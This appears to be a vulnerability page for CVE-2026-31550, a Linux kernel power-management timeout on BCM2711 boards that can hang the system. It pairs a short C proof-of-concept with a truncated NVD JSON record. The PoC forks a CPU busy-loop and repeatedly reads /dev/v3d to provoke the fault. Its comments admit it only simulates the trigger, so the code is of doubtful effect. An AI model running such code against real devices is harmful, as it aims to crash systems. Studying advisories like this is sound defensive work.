CVE-2026-31550

/* * PoC for CVE-2026-31550 * Concept: Trigger high CPU load and attempt to access V3D device * to force power management transition during the race window. * Target: Linux Kernel on BCM2711 (e.g., Raspberry Pi 4) */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/v3d" void high_load_workload() { printf("[+] Starting high load workload...\n"); volatile unsigned long counter = 0; while (1) { counter++; // Use memory barrier to prevent optimization __asm__ __volatile__ ("" ::: "memory"); } } int main() { int fd = -1; // Attempt to open V3D device to trigger PM operations fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open V3D device (may be fine if not root)\n"); // Continue to generate load anyway } // Fork to create load while trying to access device if (fork() == 0) { high_load_workload(); } // Main process attempts to trigger suspend/resume cycles // In a real scenario, this requires interacting with sysfs or specific ioctls // Here we simulate the trigger condition. printf("[+] Triggering PM transitions...\n"); while (1) { if (fd >= 0) { // Dummy read to potentially trigger activity char buf[10]; read(fd, buf, 1); } usleep(1000); // 1ms delay } return 0; }

{"cve": {"id": "CVE-2026-31550", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:29.207", "lastModified": "2026-04-27T20:15:37.860", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\npmdomain: bcm: bcm2835-power: Increase ASB control timeout\n\nThe bcm2835_asb_control() function uses a tight polling loop to wait\nfor the ASB bridge to acknowledge a request. During intensive workloads,\nthis handshake intermittently fails for V3D's master ASB on BCM2711,\nresulting in \"Failed to disable ASB master for v3d\" errors during\nruntime PM suspend. As a consequence, the failed power-off leaves V3D in\na broken state, leading to bus faults or system hangs on later accesses.\n\nAs the timeout is insufficient in some scenarios, increase the polling\ntimeout from 1us to 5us, which is still negligible in the context of a\npower domain transition. Also, replace the open-coded ktime_get_ns()/\ncpu_relax() polling loop with readl_poll_timeout_atomic()."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.1", "versionEndExcluding": "5.10.253", "matchCriteriaId": "7A7963C2-E27E-41F4-A575-6430E58CBEED"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.203", "matchCriteriaId": "20DDB3E9-AABF-4107-ADB0-5362AA067045"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.167", "matchCriteriaId": "2EDC6BAF-B710-4E26-B6AA-D68922EE7B43"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.20", "matchCriteriaId": "E5571059-6552-48E7-9BEF-3E358C387171"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.10", "matchCriteriaId": "96D34333-38BE-4414-9E79-6EB764329581"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.1:-:*:*:*:*:*:*", "matchCriteriaId": "D89FA266-EDB9-412A-B18E-1B5A0FCC3C0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc7:*:*:*:*:*:*", "matchCriteriaId": "512EE3A8-A590-4501-9A94-5D4B268D6138"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0e84e74849d2d7e9b23a09c2d5e0d9357db1ca59", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/18605b1b936b66b1f34dcf8e9ad4f1fbcf7a7c13", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/572f17180f26619809b8e0593d926762aa8660ff", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/622ab02e955c35c125ff2b65d8327b2c52db8758", "source": "416baaa9-dc9f-43 ... (truncated)